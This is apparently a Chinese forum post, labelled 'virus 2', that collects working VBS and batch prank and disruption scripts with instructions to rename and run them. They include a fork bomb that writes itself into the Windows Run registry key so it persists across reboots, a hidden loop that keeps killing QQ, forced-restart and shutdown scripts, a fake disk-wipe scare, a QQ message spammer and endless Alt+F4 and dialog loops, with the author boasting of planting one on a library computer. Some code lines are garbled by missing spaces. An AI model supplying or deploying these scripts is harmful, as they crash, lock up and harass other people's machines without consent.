病毒2

十一、電腦死機了
Setsh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i<s
i=i+1
sh.run wscript.scriptfullname
loop
s=s+1
i=0
randomize
wscript.sleep int(rnd()*100)
msgbox "程序發生未知的錯誤!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
thn=wscript.scriptfullname
sh.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn
loop
膽子大的可以運行看看,嘿嘿,改成.vbs格式
cpu飆到100%，死機的。，強行關機都沒反映，直接拔電源的，
之後重新打開電腦還是在繼續開窗口，cao，一直到2000多的窗口，完全沒辦法動鼠標的，你妹的，這是坑人，


十二、電腦死機
do
createobject("wscript.shell").runwscript.scriptfullname
loop
別小看這三行,你可以運行試試,讓你五秒內死機，十秒內鼠標不能動！改成.vbs

十三、我是豬
setws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是豬"
a=inputbox("快在下面的框框裏輸入我是豬,否則後果自負，快輸""我是豬""","輸不輸","")
loop
call shutdown(2)
msgbox "早說就行了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最後一次!",4096+64
MsgBox"如果你很快的點過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山裏有個廟.",4096+64
MsgBox"廟裏有個老和尚在講故事.",4096+64
ws.run"iexplore.exehttp://new.qzone.qq.com/********/infocenter"
msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最後問個問題，我是不是大好人！",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60-c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
記得把********換成你的qq號，改成.vbs

十四、QQ不能運行
@echo off
if "%1" == "h" gotobegin
mshtavbscript:createobject("wscript.shell").run("%~nx0h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (gotonext)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin
——————————分割線————————
把以上代碼保存成txt格式，然後把後綴改成bat,然後雙擊運行
嘿嘿，那你的qq就不能運行了喲


十五、磁盤格式化
@ color 4f
@echo off
echo 刪除計算機的C盤的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已刪除完畢
echo.
echo 刪除計算機的D盤的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已刪除完畢
echo.
echo 刪除計算機的E盤的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已刪除完畢
@ color
echo.
echo.=========================================
echo. 啊哈哈，都刪關，都殺關，哈哈……
echo.=========================================
echo. 系統將馬上崩潰......
echo. 這是一個***程序......您的所有資料已經傳到[email protected]
shutdown /r /t 30 /c "電腦在30s內即將崩潰,哈哈，你活該！"
ntsd -c q -pn explorer.exe
ping 127.0.0.1 /n 20 >nul
start explorer.exe
shutdown -a
____________________________分割線______________________
將分割線以上部分保存到txt格式，然後把後綴改成bat就可以運行了
運行後你的磁盤會被格式化
當然
那是假的。。。用來嚇人的。。。
希望你玩的愉快。。。
--------------------------------------------------------------------

十六、系統關機
不懂的人看一下，那直接關機來說，就是複製下面那個直接關機代碼
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t00",0 ,true
然後保存，後綴改爲VBS格式的，VBS是VB的腳本語言能直接通過DOS運行的。

十七、QQ騷擾信息
[replyview]一、你打開好友的聊天對話框,然後記下在你QQ裏好友的暱稱,把下面代碼裏的xx替換一下,就可以自定義發送QQ信息到好友的次數(代碼裏的數字10改一下即可).
xx.vbs=>
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("與 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------

QQ騷擾信息,也可以用在其它程序上。

十八、我就用這個程序放在學校圖書館查詢書刊的機器上，好多人都那它沒辦法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop


十九、不斷按下alt+f4 （開什麼都關閉……）
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop

二十、按500次回車
(以下代碼在運行者的電腦上顯示500個對話框。其中 dountil s=500 ，500可以隨意更改)
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop


二十一、我是豬
-------------------------------------------------------------------------------------------
setws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是豬"
a=inputbox("快在下面的框框裏輸入我是豬,否則後果自負，快輸""我是豬""","輸不輸","")
loop
call shutdown(2)
msgbox "早說就行了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最後一次!",4096+64
MsgBox"如果你很快的點過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山裏有個廟.",4096+64
MsgBox"廟裏有個老和尚在講故事.",4096+64
ws.run"iexplore.exehttp://new.qzone.qq.com/765012057/infocenter"
msgbox"哎呀累了！數綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了，這次就饒過你吧，下次注意哦!",4096+64
msgbox"最後問個問題，我是不是大好人！",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if

sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60-c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
--------------------------------------------------------------------------------
ws.run"iexplore.exehttp://new.qzone.qq.com/765012057/infocenter"

這段代碼可以改成你自己設定的地址

如果別人不輸我是豬的話就會一直點下去點到你設定的數字

for i=1 to 100

從1到100

可以改成 20 其他的數字

解除這個VBS腳本的辦法就簡單了只是關掉任務管理器裏Wscript.exe

這個進程就好了